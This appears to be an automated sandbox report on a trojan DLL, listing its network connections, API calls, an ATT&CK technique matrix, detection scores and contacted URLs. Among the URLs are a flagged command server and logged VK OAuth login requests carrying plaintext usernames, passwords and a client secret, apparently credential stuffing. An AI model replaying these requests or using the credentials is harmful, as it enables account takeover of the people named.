Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: rundll32.exe, 00000006.00000002.4576249774.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllN
Source: rundll32.exe, 00000005.00000002.4576199431.000000000095A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~~\
Source: loaddll32.exe, 00000000.00000003.2143076062.000000000069B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4576345714.0000000000C5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6CB0FF10 recv,closesocket,closesocket,GetProcessHeap,HeapFree,recv,closesocket,GetProcessHeap,HeapFree,

4_2_6CB0FF10

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 18.244.102.65 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 66.218.84.137 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 217.69.139.60 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 23.194.234.100 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 212.227.17.170 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 95.181.181.87 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 87.240.139.193 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.178.50.38 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 209.97.16.14 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 195.62.52.164 1002	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 217.74.64.236 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 18.244.102.111 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 68.180.135.252 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 182.248.170.98 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 35.169.166.3 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 212.227.17.186 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 217.69.142.141 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 162.19.169.11 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 40.99.149.210 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 77.222.22.101 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 84.116.6.22 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 142.250.217.196 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 165.227.126.8 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 65.8.248.10 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: be.search.yahoo.com

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6CB03D90 GetTempPathA,GetVolumeInformationA,GetComputerNameA,GetUserNameA,GetTempPathA,GetVolumeInformationA,GetComputerNameA,GetUserNameA,

4_2_6CB03D90

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	111 Process Injection	21 Virtualization/Sandbox Evasion	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	111 Process Injection	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Ingress Tool Transfer			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	1 Rundll32	NTDS	1 System Owner/User Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	24 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RqrQG7s66x.dll	49%	ReversingLabs	Win32.Trojan.Generic
RqrQG7s66x.dll	49%	Virustotal		Browse
RqrQG7s66x.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
mta6.am0.yahoodns.net	0%	Virustotal	Browse
api.genderize.io	0%	Virustotal	Browse
prod-rotation-v2.guce.aws.oath.cloud	0%	Virustotal	Browse
me-ycpi-cf-www.g06.yahoodns.net	0%	Virustotal	Browse
torrent-trecker4.com	2%	Virustotal	Browse
lesta.ru	0%	Virustotal	Browse
reachlocal.rlcdn.net	0%	Virustotal	Browse
work.a-poster.info	10%	Virustotal	Browse
www.botoxchronicmigraine.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://api.genderize.io/?name=Behnaz	0%	Avira URL Cloud	safe
https://api.genderize.io/?name=Mateo	0%	Avira URL Cloud	safe
http://work.a-poster.info25000	0%	Avira URL Cloud	safe
http://work.a-poster.info	100%	Avira URL Cloud	malware
https://lesta.ru/id/sessionwidget/token/?response_type=token&client_id=common_menu&scope=openid&origin=https%3A%2F%2Flesta.ru	0%	Avira URL Cloud	safe
https://api.genderize.io/?name=Aldrin	0%	Avira URL Cloud	safe
https://api.genderize.io/?name=Antoinette	0%	Avira URL Cloud	safe
http://work.a-poster.info	10%	Virustotal		Browse
https://api.genderize.io/?name=Paul	0%	Avira URL Cloud	safe
https://api.genderize.io/?name=Youssef	0%	Avira URL Cloud	safe
https://lesta.ru/id/state.json/	0%	Avira URL Cloud	safe
https://api.genderize.io/?name=Julie	0%	Avira URL Cloud	safe
https://www.botoxchronicmigraine.com/find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE&gclsrc=aw.ds	0%	Avira URL Cloud	safe
https://api.genderize.io/?name=Syed	0%	Avira URL Cloud	safe
https://lesta.ru/id/signin/process/?type=captcha	0%	Avira URL Cloud	safe
http://work.a-poster.info:25000/	100%	Avira URL Cloud	malware
http://work.a-poster.info:25000/	9%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mta6.am0.yahoodns.net	67.195.228.109	true	false	0%, Virustotal, Browse	unknown
api.genderize.io	165.227.126.8	true	true	0%, Virustotal, Browse	unknown
aj-https.mail.ru	217.69.142.141	true	false		high
external-use1-kproxy-1-1056718813.us-east-1.elb.amazonaws.com	35.169.166.3	true	false		high
ad.doubleclick.net	192.178.50.38	true	false		high
prod-rotation-v2.guce.aws.oath.cloud	52.44.77.224	true	false	0%, Virustotal, Browse	unknown
m.ok.ru	217.20.155.16	true	false		high
api.vk.com	87.240.139.193	true	false		high
torrent-trecker4.com	195.62.52.164	true	true	2%, Virustotal, Browse	unknown
ds-global3.l7.search.ystg1.b.yahoo.com	66.218.84.137	true	false		high
lesta.ru	95.181.181.87	true	true	0%, Virustotal, Browse	unknown
auth.mail.ru	217.69.139.60	true	false		high
steamcommunity.com	23.194.234.100	true	false		high
me-ycpi-cf-www.g06.yahoodns.net	68.180.135.252	true	true	0%, Virustotal, Browse	unknown
www.google.com	142.250.217.196	true	false		high
d2f3hizmmw1x77.cloudfront.net	65.8.248.10	true	false		high
work.a-poster.info	37.1.217.172	true	false	10%, Virustotal, Browse	unknown
fingerprints.bablosoft.com	162.19.169.11	true	false		high
reachlocal.rlcdn.net	209.97.16.14	true	true	0%, Virustotal, Browse	unknown
YAhoO.Com	unknown	unknown	false		high
secure.skype.com	unknown	unknown	false		high
www.botoxchronicmigraine.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
uk.search.yahoo.com	unknown	unknown	false		high
search.yahoo.com	unknown	unknown	false		high
login.skype.com	unknown	unknown	false		high
go.skype.com	unknown	unknown	false		high
www.yahoo.com	unknown	unknown	false		high
guce.yahoo.com	unknown	unknown	false		high
derickdermatology.reachlocal.com	unknown	unknown	false		high
be.search.yahoo.com	unknown	unknown	false		high
3310.xg4ken.com	unknown	unknown	false		high
consent.yahoo.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.genderize.io/?name=Behnaz	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/market/search/render/?query=ibuypower%2Bflammable&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_normal&category_730_Quality[]=tag_strange&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon	false		high
https://search.yahoo.com/search;_ylt=AwrNZRR57HVltgUrn1lXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=15&pz=7&bct=0&pstart=9	false		high
https://uk.search.yahoo.com/search;_ylt=AwrNOauC7HVlBTkrKrZLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=36&pz=7&pstart=9	false		high
https://search.yahoo.com/search;_ylt=AwrigfX663VlKMErmFdXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=71&pz=7&bct=0&xargs=0	false		high
https://fingerprints.bablosoft.com/ip	false		high
https://search.yahoo.com/search;_ylt=Awrhdprg63VlPJorTTtXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=36&pz=7&bct=0&xargs=0	false		high
https://search.yahoo.com/search;_ylt=AwrNOavc63Vl6bIrn71XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=29&pz=7&bct=0&xargs=0	false		high
https://uk.search.yahoo.com/search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc=&guccounter=1&guce_referrer=aHR0cHM6Ly91ay5zZWFyY2gueWFob28uY29tL3NlYXJjaD9wPWZvYW1leCtwcmludGVkK2JvYXJkcyZmcj1zZnAmZnIyPSZpc2Nxcnk9JnZjPQ&guce_referrer_sig=AQAAACnbVtezZBBL6fRZWkHTqstegNeLmC5rDVu_DtS343DMLriUTAg963vs6uVE2K4VUIQ3c5xXhIPaK2p9m1LG5wexewvnogEpKs65In71CZuvrkBi2M9e8nxQBslkVO9EMwb-xm6rv0-0Spq6Z9Gayo2ElKz6vy1v1ewDIxsq3X70	false		high
https://be.search.yahoo.com/search?p=zoho+erp&fr=sfp&fr2=&iscqry=&vc=	false		high
https://api.vk.com/oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&external_device_id=0IDF3EBI-6GD4-4430-6A1B-7HGE-IIIEH39906CB&grant_type=password&idfa=0DAHHCAE-GA5B-9840-85E3-0G2G-46455BCI2728&idfv=GAH47DC4-DDI5-HD18-5E08-C8DB-D8827089GF60&libverify_support=1&password=marina#7-&sak_version=1.60&scope=all&username=79186797085&v=5.131&captcha_sid=743468411181&captcha_key=zv5hpkv	false		high
https://api.vk.com/oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=D67113GE-809F-3BFH-75E4-673A-GA9C150C74HI&external_device_id=499EI9FB-HG9D-BEGH-F939-5F2A-H3AA6G1G2BGF&grant_type=password&idfa=4FE19DEA-1BA5-3211-10FA-228F-898CDB0AH869&idfv=BB69EH7G-E6BD-959B-C0IF-844D-17A5F2I15BEE&libverify_support=1&password=monika&sak_version=1.60&scope=all&username=norrgard@gmail.com&v=5.131	false		high
https://api.genderize.io/?name=Mateo	true	Avira URL Cloud: safe	unknown
https://lesta.ru/id/sessionwidget/token/?response_type=token&client_id=common_menu&scope=openid&origin=https%3A%2F%2Flesta.ru	true	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/search;_ylt=AwrEaSSe7HVlefErW21LBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=64&pz=7&pstart=13	false		high
https://search.yahoo.com/search;_ylt=AwrNYATt63VlYIcr9nRXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=50&pz=7&bct=0&xargs=0	false		high
https://m.ok.ru/dk?bk=GuestMain&st.cmd=main&_prevCmd=main&tkn=5928&_cl.id=1577974135245&_clickLog=%5B%7B%22target%22%3A%22sign_in%22%7D%2C%7B%22registrationContainer%22%3A%22home.login_form%22%7D%5D	false		high
https://guce.yahoo.com/consent?brandType=eu&gcrumb=IM1lqPQ&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dit%2Bchange%2Bmanagement%2Bcourse%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D	false		high
https://search.yahoo.com/search;_ylt=AwrEpecD7HVl19ArcA1XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=78&pz=7&bct=0&xargs=0	false		high
http://derickdermatology.reachlocal.com/?scid=975940&kw=188&pub_cr_id=681916492043&device=c&network=g&targetid=kwd-11411861&loc_interest_ms=&loc_physical_ms=1016280&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=41b9b056dc46d060686ac0e3dc0e8ec4&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F	false		high
https://www.google.com/search?q=ford+bronco+custom+2021&ie=utf-8&oe=utf-8&num=100&hl=en&gl=US&uule=w+CAIQICIPTmV3IFlvcmssTlksVVNB	false		high
https://search.yahoo.com/search;_ylt=AwrihtiT7HVljmQsNH5XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=29&pz=7&bct=0&pstart=9	false		high
https://api.vk.com/oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=14CE0A60-H643-DBEA-G5DF-9E56-ID031BB7BE9A&external_device_id=AE982GHG-F0BD-CCD7-3598-51EH-ECE8EC02H4GE&grant_type=password&idfa=3GEDI12G-0G8E-4233-5G7A-0F0C-78230B3D9F0B&idfv=6ACH12EH-4FBG-5A84-0391-FHG6-3F05H975A0D6&libverify_support=1&password=monika&sak_version=1.60&scope=all&username=norrgard@gmail.com&v=5.131	false		high
https://search.yahoo.com/search;_ylt=AwrFcoiq7HVl.0ksASZXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=50&pz=7&bct=0&pstart=9	false		high
https://uk.search.yahoo.com/search;_ylt=AwrEoY5x7HVlBOor80VLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=22&pz=7&pstart=13	false		high
https://uk.search.yahoo.com/search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc=&guccounter=1&guce_referrer=aHR0cHM6Ly91ay5zZWFyY2gueWFob28uY29tL3NlYXJjaD9wPWl0K2NoYW5nZSttYW5hZ2VtZW50K2NvdXJzZSZmcj1zZnAmZnIyPSZpc2Nxcnk9JnZjPQ&guce_referrer_sig=AQAAABOW8XqM2ptstrhQyhrjpfodSJMJQGWDmOwD-4uTno33Lkq2_wanfA2TtsTgNwkmaZM_BVhcPEv4-ILPvdIXMtGElX0Q9pD3E1HzZ8AKo3c5CB2R8ukfzyBd3j94wZSNW5dRldM1YOpwvsbQ2fWwVzBpoJsejoIDZXTsCWe19OoH	false		high
https://www.google.com/aclk?sa=l&ai=DChcSEwiOrbXzqIWDAxWHGaIDHcVgBq0YABACGgJsZQ&ae=2&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&sig=AOD64_33JdWE39KHle-C0tq23pyDLE09pA&adurl=&q=	false		high
https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5	false		high
https://guce.yahoo.com/consent?brandType=eu&gcrumb=Vh20Z64&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dfoamex%2Bprinted%2Bboards%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D	false		high
https://www.google.com/search?q=e+k+marine&ie=utf-8&oe=utf-8&num=100&hl=en&gl=US&uule=w+CAIQICIPTmV3IFlvcmssTlksVVNB	false		high
https://steamcommunity.com/market/search/render/?query=%22katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=tag_set_community_2&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=tag_weapon_ak47&category_730_Exterior[]=tag_WearCategory2	false		high
https://uk.search.yahoo.com/search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc=	false		high
https://steamcommunity.com/market/search/render/?query=%22iBUYPOWER%20%28Holo%29%20%7C%20Katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon	false		high
https://api.genderize.io/?name=Aldrin	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/market/search/render/?query=%22katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_normal&category_730_Quality[]=tag_strange&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon	false		high
https://uk.search.yahoo.com/search;_ylt=AwrFbBls7HVlr3Yra95LBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=15&pz=7&pstart=7	false		high
https://account.booking.com/api/identity/authenticate/v1.0/enter/email/submit	false		high
https://uk.search.yahoo.com/search;_ylt=AwrFcoh87HVllJArc3pLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=29&pz=7&pstart=13	false		high
https://search.yahoo.com/search;_ylt=AwrFaJX263VlWeErinFXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=64&pz=7&bct=0&xargs=0	false		high
https://api.genderize.io/?name=Antoinette	true	Avira URL Cloud: safe	unknown
https://api.genderize.io/?name=Paul	true	Avira URL Cloud: safe	unknown
http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://search.yahoo.com/search;_ylt=AwrFcojy63VlKeMrXMtXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=57&pz=7&bct=0&xargs=0	false		high
https://api.vk.com/oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&external_device_id=0IDF3EBI-6GD4-4430-6A1B-7HGE-IIIEH39906CB&grant_type=password&idfa=0DAHHCAE-GA5B-9840-85E3-0G2G-46455BCI2728&idfv=GAH47DC4-DDI5-HD18-5E08-C8DB-D8827089GF60&libverify_support=1&password=marina#7-&sak_version=1.60&scope=all&username=79186797085&v=5.131	false		high
https://guce.yahoo.com/copyConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9&lang=en-GB	false		high
https://search.yahoo.com/search?p=HSA+Administrator&fr=sfp&fr2=sb-top-us.search&iscqry=&vc=us	false		high
https://search.yahoo.com/search;_ylt=AwrhbhJo7HVldKkrCXZXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&fr=sfp&b=8&pz=7&bct=0&pstart=9	false		high
https://api.genderize.io/?name=Youssef	true	Avira URL Cloud: safe	unknown
https://ad.doubleclick.net/searchads/link/click?lid=43700075290420019&ds_s_kwgid=58700008283701479&ds_a_cid=46740138&ds_a_caid=18700621405&ds_a_agid=144724770125&ds_a_fiid=&ds_a_lid=kwd-298208513160&ds_a_extid=&&ds_e_adid=649129367969&ds_e_matchtype=search&ds_e_device=c&ds_e_network=g&&ds_url_v=2&dc_eps=AHas8cAsEcTqgo4hYlrs9u8BuyLKVvQyrF34mvr5GeFfDKlbIOBkopK-11uDn15QdF0FRdIepgPACbkjpg&ds_dest_url=https://www.botoxchronicmigraine.com/find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclsrc=aw.ds&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE	false		high
https://uk.search.yahoo.com/search;_ylt=AwrFY5aM7HVl0wor_MhLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=43&pz=7&pstart=14	false		high
https://uk.search.yahoo.com/search;_ylt=AwrErnCT7HVlEO4rMUxLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=50&pz=7&pstart=13	false		high
https://steamcommunity.com/market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_unusual&category_730_Quality[]=tag_unusual_strange	false		high
https://uk.search.yahoo.com/search;_ylt=AwrigfWn7HVlNtgqnCdLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=71&pz=7&pstart=8	false		high
https://uk.search.yahoo.com/search;_ylt=AwrFYE9n7HVlApUrPAxLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&fr=sfp&b=8&pz=7&pstart=8	false		high
https://lesta.ru/id/state.json/	true	Avira URL Cloud: safe	unknown
https://www.botoxchronicmigraine.com/find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE&gclsrc=aw.ds	true	Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/search;_ylt=Awriq2mY7HVlIgUrLExLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=57&pz=7&pstart=14	false		high
https://uk.search.yahoo.com/search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc=	false		high
https://guce.yahoo.com/copyConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5&lang=en-GB	false		high
https://api.vk.com/captcha.php?sid=743468411181&dif=1	false		high
https://www.yahoo.com/	false		high
https://steamcommunity.com/market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana	false		high
https://search.yahoo.com/search;_ylt=AwrhenGF7HVliTEsHCFXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=22&pz=7&bct=0&pstart=9	false		high
